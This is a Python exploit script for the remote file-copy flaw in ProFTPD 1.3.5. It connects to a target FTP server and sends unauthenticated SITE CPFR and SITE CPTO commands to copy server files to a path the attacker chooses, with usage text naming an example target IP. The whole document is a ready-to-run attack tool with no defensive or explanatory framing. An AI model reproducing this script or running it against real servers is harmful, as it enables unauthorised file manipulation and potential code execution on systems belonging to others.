proftpd 1.3.5 exploit(remote command execution)

proftpd_1.3.5_.py

#!/bin/python3
import socket
from threading import Thread
from sys import argv as _arg_
from time import sleep
'''
proftpd 1.3.5 is Vulnearable to Copy Remote Command Execution
usage: proftpd_1.3.5.py <TARGET_IP> <PORT> <PATH_TO_COPY> <PATH_TO_PAST>
   eg: proftpd_1.3.5.py 10.2.43.12 21 /home/user/FileToCopy /var/tmp/PathToPast
'''
def main():
    core = {
        "MAIN": {
            "COPY": b"SITE CPFR ",
            "PAST": b"SITE CPTO ",
        },
        "PRINT": {
            "SUCCESS": "[*] Conection status\t[ok]",
            "FAIL": "[!] Conection status\t[PipeBroken]",
            "OUT": "[RES] ",
            "TITLE": "\n[*] proftpd 1.3.5 is Vulnearable to Copy Remote Command Execution"
        },
        "LN": "\n",
        "ENCODE": "UTF-8",
        "SIZE": 1024
    }
    IP = _arg_[1]
    PORT = int(_arg_[2])
    CPFROM = _arg_[3]+core["LN"]
    CPTO = _arg_[4]+core["LN"]

    def recive(PROFTPD135, core):
        for i in range(1, 4):
            print(core["PRINT"]["OUT"] + PROFTPD135.recv(core["SIZE"]).decode(core["ENCODE"]), end="")
            sleep(0.2)
    try:
        PROFTPD135 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        PROFTPD135.connect((IP, PORT))
        print(core["PRINT"]["SUCCESS"]+core["PRINT"]["TITLE"])
        Thread(target=recive, args=(PROFTPD135, core,)).start()
        PROFTPD135.send(core["MAIN"]["COPY"]+CPFROM.encode(core["ENCODE"]))
        PROFTPD135.send(core["MAIN"]["PAST"]+CPTO.encode(core["ENCODE"]))
        sleep(10)
        PROFTPD135.close()
        raise SystemExit()
    except:
        print(core["PRINT"]["FAIL"])

try:
    if __name__ == "__main__":
        main()
except:
    print(_arg_[0]+" <TARGET_IP> <PORT> <PATH_TO_COPY> <PATH_TO_PAST>")